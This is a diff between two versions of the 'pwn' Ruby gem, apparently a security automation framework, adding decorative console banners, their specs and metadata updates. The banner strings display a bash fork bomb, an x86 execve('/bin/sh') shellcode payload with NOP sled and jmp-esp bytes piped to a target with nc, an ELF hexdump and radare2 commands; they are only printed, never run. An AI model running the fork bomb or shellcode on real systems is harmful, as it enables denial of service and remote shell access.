pwn 0.4.978 → 0.4.980

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 84f7477495ab484c4ed537d19f00d1351b9f757c77a8a479847f055bb8e4259b
4
- data.tar.gz: ca5f85d4e4912fb54225e3c882f29f72b713bca9a23433c7a1cdd7a4c3edc30f
3
+ metadata.gz: 89550e01a362634e37a007e848bd850735a05bd5a6dcebfcc69820a908ae0b85
4
+ data.tar.gz: 91e8218da188a4d6c36688fd42396e4d8d75190c07cfeb3f424aa3d3135b14eb
5
5
  SHA512:
6
- metadata.gz: f1bc5b77dec53f5ef4319c923135361d586e6b378d10b40a9cee29ea257e202303333d8611455b6116bc383eae06ee850a1b949db4fb29e158bb1516779089ef
7
- data.tar.gz: cdbd9c76d7d2cfbe17fdc309e357ad1afbad3eda83a03498fc51120e74cb3de1d964e232b1c1c82c312f0f2d8ed8d4f9a74999b2cae4c78b3b38e4505981eafb
6
+ metadata.gz: 342c40b4db0c6a4aec1468a360ce12b032a0471f66eab924340f35a214a8746df90378f60d8e38b7dde8a11545faef4410b123666a1a5f7e783c0172b415282d
7
+ data.tar.gz: c18cf34d7a9f97be6d877588a81bce355871ec412666707bcd628909ee472127609fb0d3ef8df11e914b31ebf10ef7d46ce0bf5d7d9a77e46ed071a72bad2817
data/README.md CHANGED
@@ -37,7 +37,7 @@ $ cd /opt/pwn
37
37
  $ ./install.sh
38
38
  $ ./install.sh ruby-gem
39
39
  $ pwn
40
- pwn[v0.4.978]:001 >>> PWN.help
40
+ pwn[v0.4.980]:001 >>> PWN.help
41
41
  ```
42
42
 
43
43
  [![Installing the pwn Security Automation Framework](https://raw.githubusercontent.com/0dayInc/pwn/master/documentation/pwn_install.png)](https://youtu.be/G7iLUY4FzsI)
@@ -52,7 +52,7 @@ $ rvm use ruby-3.3.0@pwn
52
52
  $ gem uninstall --all --executables pwn
53
53
  $ gem install --verbose pwn
54
54
  $ pwn
55
- pwn[v0.4.978]:001 >>> PWN.help
55
+ pwn[v0.4.980]:001 >>> PWN.help
56
56
  ```
57
57
 
58
58
  If you're using a multi-user install of RVM do:
@@ -62,7 +62,7 @@ $ rvm use ruby-3.3.0@pwn
62
62
  $ rvmsudo gem uninstall --all --executables pwn
63
63
  $ rvmsudo gem install --verbose pwn
64
64
  $ pwn
65
- pwn[v0.4.978]:001 >>> PWN.help
65
+ pwn[v0.4.980]:001 >>> PWN.help
66
66
  ```
67
67
 
68
68
  PWN periodically upgrades to the latest version of Ruby which is reflected in `/opt/pwn/.ruby-version`. The easiest way to upgrade to the latest version of Ruby from a previous PWN installation is to run the following script:
@@ -0,0 +1,50 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'colorize'
4
+
5
+ module PWN
6
+ module Banner
7
+ # This plugin processes images into readable text
8
+ module CodeCave
9
+ # Supported Method Parameters::
10
+ # PWN::Banner::CodeCave.get
11
+
12
+ public_class_method def self.get
13
+ '
14
+ 00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000 .ELF............
15
+ 00000010: 0200 0300 0100 0000 208e 0408 3400 0000 ........ ...4...
16
+ 00000020: ac00 0000 0000 0000 3400 2000 0100 2800 ........4. ...(.
17
+ 00000030: 0400 0300 0100 0000 0000 0000 0080 0408 ................
18
+ 00000040: 0080 0408 c000 0000 c000 0000 0500 0000 ................
19
+ 00000050: 0010 0000 0100 0000 0000 0000 0080 0408 ................
20
+ 00000060: 0000 0000 0000 0000 0000 0000 0600 0000 ................
21
+ 00000070: 7077 6e00 0000 0000 0000 0000 0000 0000 pwn.............
22
+ 00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
23
+ 00000090: 0000 0000 0000 0000 0000 0000 0000 0021 ...............!
24
+ 000000a0: b82a 0000 00b9 1d00 0000 baf4 0000 00ba ..*.............
25
+ 000000b0: 9a86 0408 e970 ffff ff31 c040 cd80 0000 ....p...1.@.....
26
+ '.light_black
27
+ rescue StandardError => e
28
+ raise e
29
+ end
30
+
31
+ # Author(s):: 0day Inc. <request.pentest@0dayinc.com>
32
+
33
+ public_class_method def self.authors
34
+ "AUTHOR(S):
35
+ 0day Inc. <request.pentest@0dayinc.com>
36
+ "
37
+ end
38
+
39
+ # Display Usage for this Module
40
+
41
+ public_class_method def self.help
42
+ puts "USAGE:
43
+ #{self}.get
44
+
45
+ #{self}.authors
46
+ "
47
+ end
48
+ end
49
+ end
50
+ end
@@ -0,0 +1,39 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'colorize'
4
+
5
+ module PWN
6
+ module Banner
7
+ # This plugin processes images into readable text
8
+ module ForkBomb
9
+ # Supported Method Parameters::
10
+ # PWN::Banner::ForkBomb.get
11
+
12
+ public_class_method def self.get
13
+ '
14
+ $ pwn() { pwn | pwn & }; pwn
15
+ '.blue
16
+ rescue StandardError => e
17
+ raise e
18
+ end
19
+
20
+ # Author(s):: 0day Inc. <request.pentest@0dayinc.com>
21
+
22
+ public_class_method def self.authors
23
+ "AUTHOR(S):
24
+ 0day Inc. <request.pentest@0dayinc.com>
25
+ "
26
+ end
27
+
28
+ # Display Usage for this Module
29
+
30
+ public_class_method def self.help
31
+ puts "USAGE:
32
+ #{self}.get
33
+
34
+ #{self}.authors
35
+ "
36
+ end
37
+ end
38
+ end
39
+ end
@@ -0,0 +1,44 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'colorize'
4
+
5
+ module PWN
6
+ module Banner
7
+ # This plugin processes images into readable text
8
+ module JmpEsp
9
+ # Supported Method Parameters::
10
+ # PWN::Banner::JmpEsp.get
11
+
12
+ public_class_method def self.get
13
+ '
14
+ #!/bin/bash
15
+ nop=$(printf \'\x90%.0s\' {1..1337})
16
+ asm_ops=\'\xff\xe4\'
17
+ payload=\'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\xcd\x80\'
18
+ pwn="${nop}${asm_ops}${payload}"
19
+ echo -en $pwn | nc $TARGET $PORT
20
+ '.red
21
+ rescue StandardError => e
22
+ raise e
23
+ end
24
+
25
+ # Author(s):: 0day Inc. <request.pentest@0dayinc.com>
26
+
27
+ public_class_method def self.authors
28
+ "AUTHOR(S):
29
+ 0day Inc. <request.pentest@0dayinc.com>
30
+ "
31
+ end
32
+
33
+ # Display Usage for this Module
34
+
35
+ public_class_method def self.help
36
+ puts "USAGE:
37
+ #{self}.get
38
+
39
+ #{self}.authors
40
+ "
41
+ end
42
+ end
43
+ end
44
+ end
@@ -27,6 +27,7 @@ module PWN
27
27
  %%%+ *%%#
28
28
  .%%%. :%%%.
29
29
  =**+ +##=
30
+ \xe5\xbf\x8d\xe8\xa1\x93
30
31
  '.light_blue
31
32
  rescue StandardError => e
32
33
  raise e
@@ -0,0 +1,47 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'colorize'
4
+
5
+ module PWN
6
+ module Banner
7
+ # This plugin processes images into readable text
8
+ module Radare2
9
+ # Supported Method Parameters::
10
+ # PWN::Banner::Radare2.get
11
+
12
+ public_class_method def self.get
13
+ '
14
+ $ sudo r2 -d `pidof ${TARGET_BINARY}`
15
+ [0x7f000070776e]> aaaa
16
+ [0x7f000070776e]> ia ~..
17
+ [0x7f000070776e]> afl ~..
18
+ [0x7f000070776e]> db main
19
+ [0x7f000070776e]> db
20
+ [0x7f000070776e]> dc
21
+ [0x7f000070776e]> pdg
22
+ [0x7f000070776e]> v
23
+ '.yellow
24
+ rescue StandardError => e
25
+ raise e
26
+ end
27
+
28
+ # Author(s):: 0day Inc. <request.pentest@0dayinc.com>
29
+
30
+ public_class_method def self.authors
31
+ "AUTHOR(S):
32
+ 0day Inc. <request.pentest@0dayinc.com>
33
+ "
34
+ end
35
+
36
+ # Display Usage for this Module
37
+
38
+ public_class_method def self.help
39
+ puts "USAGE:
40
+ #{self}.get
41
+
42
+ #{self}.authors
43
+ "
44
+ end
45
+ end
46
+ end
47
+ end
data/lib/pwn/banner.rb CHANGED
@@ -8,12 +8,16 @@ module PWN
8
8
  autoload :Anon, 'pwn/banner/anon'
9
9
  autoload :Bubble, 'pwn/banner/bubble'
10
10
  autoload :Cheshire, 'pwn/banner/cheshire'
11
+ autoload :CodeCave, 'pwn/banner/code_cave'
11
12
  autoload :DontPanic, 'pwn/banner/dont_panic'
13
+ autoload :ForkBomb, 'pwn/banner/fork_bomb'
12
14
  autoload :FSociety, 'pwn/banner/f_society'
15
+ autoload :JmpEsp, 'pwn/banner/jmp_esp'
13
16
  autoload :Matrix, 'pwn/banner/matrix'
14
17
  autoload :Ninja, 'pwn/banner/ninja'
15
18
  autoload :OffTheAir, 'pwn/banner/off_the_air'
16
19
  autoload :Pirate, 'pwn/banner/pirate'
20
+ autoload :Radare2, 'pwn/banner/radare2'
17
21
  autoload :WhiteRabbit, 'pwn/banner/white_rabbit'
18
22
 
19
23
  # Supported Method Parameters::
@@ -23,7 +27,7 @@ module PWN
23
27
 
24
28
  public_class_method def self.get(opts = {})
25
29
  index = opts[:index].to_i
26
- index = Random.rand(1..10) unless index.positive?
30
+ index = Random.rand(1..14) unless index.positive?
27
31
 
28
32
  banner = ''
29
33
  case index
@@ -34,18 +38,26 @@ module PWN
34
38
  when 3
35
39
  banner = PWN::Banner::Cheshire.get
36
40
  when 4
37
- banner = PWN::Banner::DontPanic.get
41
+ banner = PWN::Banner::CodeCave.get
38
42
  when 5
39
- banner = PWN::Banner::FSociety.get
43
+ banner = PWN::Banner::DontPanic.get
40
44
  when 6
41
- banner = PWN::Banner::Matrix.get
45
+ banner = PWN::Banner::ForkBomb.get
42
46
  when 7
43
- banner = PWN::Banner::Ninja.get
47
+ banner = PWN::Banner::FSociety.get
44
48
  when 8
45
- banner = PWN::Banner::OffTheAir.get
49
+ banner = PWN::Banner::JmpEsp.get
46
50
  when 9
47
- banner = PWN::Banner::Pirate.get
51
+ banner = PWN::Banner::Matrix.get
48
52
  when 10
53
+ banner = PWN::Banner::Ninja.get
54
+ when 11
55
+ banner = PWN::Banner::OffTheAir.get
56
+ when 12
57
+ banner = PWN::Banner::Pirate.get
58
+ when 13
59
+ banner = PWN::Banner::Radare2.get
60
+ when 14
49
61
  banner = PWN::Banner::WhiteRabbit.get
50
62
  else
51
63
  raise 'Invalid Index.'
data/lib/pwn/version.rb CHANGED
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module PWN
4
- VERSION = '0.4.978'
4
+ VERSION = '0.4.980'
5
5
  end
@@ -0,0 +1,20 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'spec_helper'
4
+
5
+ describe PWN::Banner::CodeCave do
6
+ it 'should cointain a method for banner retrieval' do
7
+ get_response = PWN::Banner::CodeCave
8
+ expect(get_response).to respond_to :get
9
+ end
10
+
11
+ it 'should display information for authors' do
12
+ authors_response = PWN::Banner::CodeCave
13
+ expect(authors_response).to respond_to :authors
14
+ end
15
+
16
+ it 'should display information for existing help method' do
17
+ help_response = PWN::Banner::CodeCave
18
+ expect(help_response).to respond_to :help
19
+ end
20
+ end
@@ -0,0 +1,20 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'spec_helper'
4
+
5
+ describe PWN::Banner::ForkBomb do
6
+ it 'should cointain a method for banner retrieval' do
7
+ get_response = PWN::Banner::ForkBomb
8
+ expect(get_response).to respond_to :get
9
+ end
10
+
11
+ it 'should display information for authors' do
12
+ authors_response = PWN::Banner::ForkBomb
13
+ expect(authors_response).to respond_to :authors
14
+ end
15
+
16
+ it 'should display information for existing help method' do
17
+ help_response = PWN::Banner::ForkBomb
18
+ expect(help_response).to respond_to :help
19
+ end
20
+ end
@@ -0,0 +1,20 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'spec_helper'
4
+
5
+ describe PWN::Banner::JmpEsp do
6
+ it 'should cointain a method for banner retrieval' do
7
+ get_response = PWN::Banner::JmpEsp
8
+ expect(get_response).to respond_to :get
9
+ end
10
+
11
+ it 'should display information for authors' do
12
+ authors_response = PWN::Banner::JmpEsp
13
+ expect(authors_response).to respond_to :authors
14
+ end
15
+
16
+ it 'should display information for existing help method' do
17
+ help_response = PWN::Banner::JmpEsp
18
+ expect(help_response).to respond_to :help
19
+ end
20
+ end
@@ -0,0 +1,20 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'spec_helper'
4
+
5
+ describe PWN::Banner::Radare2 do
6
+ it 'should cointain a method for banner retrieval' do
7
+ get_response = PWN::Banner::Radare2
8
+ expect(get_response).to respond_to :get
9
+ end
10
+
11
+ it 'should display information for authors' do
12
+ authors_response = PWN::Banner::Radare2
13
+ expect(authors_response).to respond_to :authors
14
+ end
15
+
16
+ it 'should display information for existing help method' do
17
+ help_response = PWN::Banner::Radare2
18
+ expect(help_response).to respond_to :help
19
+ end
20
+ end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: pwn
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.4.978
4
+ version: 0.4.980
5
5
  platform: ruby
6
6
  authors:
7
7
  - 0day Inc.
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2024-01-20 00:00:00.000000000 Z
11
+ date: 2024-01-22 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: activesupport
@@ -1706,12 +1706,16 @@ files:
1706
1706
  - lib/pwn/banner/anon.rb
1707
1707
  - lib/pwn/banner/bubble.rb
1708
1708
  - lib/pwn/banner/cheshire.rb
1709
+ - lib/pwn/banner/code_cave.rb
1709
1710
  - lib/pwn/banner/dont_panic.rb
1710
1711
  - lib/pwn/banner/f_society.rb
1712
+ - lib/pwn/banner/fork_bomb.rb
1713
+ - lib/pwn/banner/jmp_esp.rb
1711
1714
  - lib/pwn/banner/matrix.rb
1712
1715
  - lib/pwn/banner/ninja.rb
1713
1716
  - lib/pwn/banner/off_the_air.rb
1714
1717
  - lib/pwn/banner/pirate.rb
1718
+ - lib/pwn/banner/radare2.rb
1715
1719
  - lib/pwn/banner/white_rabbit.rb
1716
1720
  - lib/pwn/ffi.rb
1717
1721
  - lib/pwn/plugins.rb
@@ -2026,12 +2030,16 @@ files:
2026
2030
  - spec/lib/pwn/banner/anon_spec.rb
2027
2031
  - spec/lib/pwn/banner/bubble_spec.rb
2028
2032
  - spec/lib/pwn/banner/cheshire_spec.rb
2033
+ - spec/lib/pwn/banner/code_cave_spec.rb
2029
2034
  - spec/lib/pwn/banner/dont_panic_spec.rb
2030
2035
  - spec/lib/pwn/banner/f_society_spec.rb
2036
+ - spec/lib/pwn/banner/fork_bomb_spec.rb
2037
+ - spec/lib/pwn/banner/jmp_esp_spec.rb
2031
2038
  - spec/lib/pwn/banner/matrix_spec.rb
2032
2039
  - spec/lib/pwn/banner/ninja_spec.rb
2033
2040
  - spec/lib/pwn/banner/off_the_air_spec.rb
2034
2041
  - spec/lib/pwn/banner/pirate_spec.rb
2042
+ - spec/lib/pwn/banner/radare2_spec.rb
2035
2043
  - spec/lib/pwn/banner/white_rabbit_spec.rb
2036
2044
  - spec/lib/pwn/banner_spec.rb
2037
2045
  - spec/lib/pwn/ffi_spec.rb